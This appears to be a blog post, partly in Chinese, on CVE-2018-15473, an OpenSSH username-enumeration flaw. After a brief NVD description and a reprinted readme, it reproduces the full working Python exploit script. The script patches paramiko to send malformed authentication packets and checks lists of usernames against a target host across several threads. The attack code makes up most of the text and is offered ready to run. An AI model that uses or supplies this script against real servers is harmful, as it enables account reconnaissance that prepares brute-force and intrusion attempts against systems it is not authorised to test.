CVE-2018-15473 OpenSSH User Enumeration Exp
Contents
参考资料
https://nvd.nist.gov/vuln/detail/CVE-2018-15473
OpenSSH through 7.7 is prone to a user enumeration vulnerability due to not delaying bailout for an invalid authenticating user until after the packet containing the request has been fully parsed, related to auth2-gss.c, auth2-hostbased.c, and auth2-pubkey.c.
OpenSSH (至 7.7 版本) 都会受到该 用户枚举 漏洞的威胁,因为在完全解析包含请求的数据包之后,不会延迟对无效身份验证用户的 救助 (bailout),相关漏洞与 auth2-gss.c
,auth2-hostbased.c
和 auth2-pubkey.c
等文件有关。
Exp
CVE-2018-15473-Exploit
https://github.com/Rhynorater/CVE-2018-15473-Exploit
Readme
On August 15th, 2018, the following advisory was posted on the OSS-Security list: http://openwall.com/lists/oss-security/2018/08/15/5
The ShelIntel team decided to invest some time and write an exploit for this vulnerability. The exploit below has the following features:
* Treading – default 5
* If more than 10 are used, often the OpenSSH service gets overwhelmed and causes retries
* Single username evaluation via username
parameter
* Multiple username evaluation via userList
parameter
* Multiple username evaluation file output via outputFile
parameter
* Multiple output formats (list, json, csv) via outputFormat
parameter
An example username input file is given in exampleInput.txt
An example results output file in List format is given in exampleOutput.txt
An example results output file in JSON format is given in exampleOutput.json
An example results output file in CSV format is given in exampleOutput.csv
code
#!/usr/bin/env python
###########################################################################
# ____ _____ _____ _ _ #
# / __ \ / ____/ ____| | | | #
# | | | |_ __ ___ _ __ | (___| (___ | |__| | #
# | | | | '_ \ / _ \ '_ \ \___ \\___ \| __ | #
# | |__| | |_) | __/ | | |____) |___) | | | | #
# \____/| .__/ \___|_| |_|_____/_____/|_| |_| #
# | | Username Enumeration #
# |_| #
# #
###########################################################################
# Exploit: OpenSSH Username Enumeration Exploit (CVE-2018-15473) #
# Vulnerability: CVE-2018-15473 #
# Affected Versions: OpenSSH version < 7.7 #
# Author: Justin Gardner, Penetration Tester @ SynerComm AssureIT #
# Github: https://github.com/Rhynorater/CVE-2018-15473-Exploit #
# Email: Justin.Gardner@SynerComm.com #
# Date: August 20, 2018 #
###########################################################################
import argparse
import logging
import paramiko
import multiprocessing
import socket
import sys
import json
# store function we will overwrite to malform the packet
old_parse_service_accept = paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_SERVICE_ACCEPT]
# create custom exception
class BadUsername(Exception):
def __init__(self):
pass
# create malicious "add_boolean" function to malform packet
def add_boolean(*args, **kwargs):
pass
# create function to call when username was invalid
def call_error(*args, **kwargs):
raise BadUsername()
# create the malicious function to overwrite MSG_SERVICE_ACCEPT handler
def malform_packet(*args, **kwargs):
old_add_boolean = paramiko.message.Message.add_boolean
paramiko.message.Message.add_boolean = add_boolean
result = old_parse_service_accept(*args, **kwargs)
#return old add_boolean function so start_client will work again
paramiko.message.Message.add_boolean = old_add_boolean
return result
# create function to perform authentication with malformed packet and desired username
def checkUsername(username, tried=0):
sock = socket.socket()
sock.connect((args.hostname, args.port))
# instantiate transport
transport = paramiko.transport.Transport(sock)
try:
transport.start_client()
except paramiko.ssh_exception.SSHException:
# server was likely flooded, retry up to 3 times
transport.close()
if tried < 4:
tried += 1
return checkUsername(username, tried)
else:
print '[-] Failed to negotiate SSH transport'
try:
transport.auth_publickey(username, paramiko.RSAKey.generate(1024))
except BadUsername:
return (username, False)
except paramiko.ssh_exception.AuthenticationException:
return (username, True)
#Successful auth(?)
raise Exception("There was an error. Is this the correct version of OpenSSH?")
def exportJSON(results):
data = {"Valid":[], "Invalid":[]}
for result in results:
if result[1] and result[0] not in data['Valid']:
data['Valid'].append(result[0])
elif not result[1] and result[0] not in data['Invalid']:
data['Invalid'].append(result[0])
return json.dumps(data)
def exportCSV(results):
final = "Username, Valid\n"
for result in results:
final += result[0]+", "+str(result[1])+"\n"
return final
def exportList(results):
final = ""
for result in results:
if result[1]:
final+=result[0]+" is a valid user!\n"
else:
final+=result[0]+" is not a valid user!\n"
return final
# assign functions to respective handlers
paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_SERVICE_ACCEPT] = malform_packet
paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_USERAUTH_FAILURE] = call_error
# get rid of paramiko logging
logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())
arg_parser = argparse.ArgumentParser()
arg_parser.add_argument('hostname', type=str, help="The target hostname or ip address")
arg_parser.add_argument('--port', type=int, default=22, help="The target port")
arg_parser.add_argument('--threads', type=int, default=5, help="The number of threads to be used")
arg_parser.add_argument('--outputFile', type=str, help="The output file location")
arg_parser.add_argument('--outputFormat', choices=['list', 'json', 'csv'], default='list', type=str, help="The output file location")
group = arg_parser.add_mutually_exclusive_group(required=True)
group.add_argument('--username', type=str, help="The single username to validate")
group.add_argument('--userList', type=str, help="The list of usernames (one per line) to enumerate through")
args = arg_parser.parse_args()
sock = socket.socket()
try:
sock.connect((args.hostname, args.port))
sock.close()
except socket.error:
print '[-] Connecting to host failed. Please check the specified host and port.'
sys.exit(1)
if args.username: #single username passed in
result = checkUsername(args.username)
if result[1]:
print result[0]+" is a valid user!"
else:
print result[0]+" is not a valid user!"
elif args.userList: #username list passed in
try:
f = open(args.userList)
except IOError:
print "[-] File doesn't exist or is unreadable."
sys.exit(3)
usernames = map(str.strip, f.readlines())
f.close()
# map usernames to their respective threads
pool = multiprocessing.Pool(args.threads)
results = pool.map(checkUsername, usernames)
try:
outputFile = open(args.outputFile, "w")
except IOError:
print "[-] Cannot write to outputFile."
sys.exit(5)
if args.outputFormat=='list':
outputFile.writelines(exportList(results))
print "[+] Results successfully written to " + args.outputFile + " in List form."
elif args.outputFormat=='json':
outputFile.writelines(exportJSON(results))
print "[+] Results successfully written to " + args.outputFile + " in JSON form."
elif args.outputFormat=='csv':
outputFile.writelines(exportCSV(results))
print "[+] Results successfully written to " + args.outputFile + " in CSV form."
else:
print "".join(results)
outputFile.close()
else: # no usernames passed in
print "[-] No usernames provided to check"
sys.exit(4)
Leave a Reply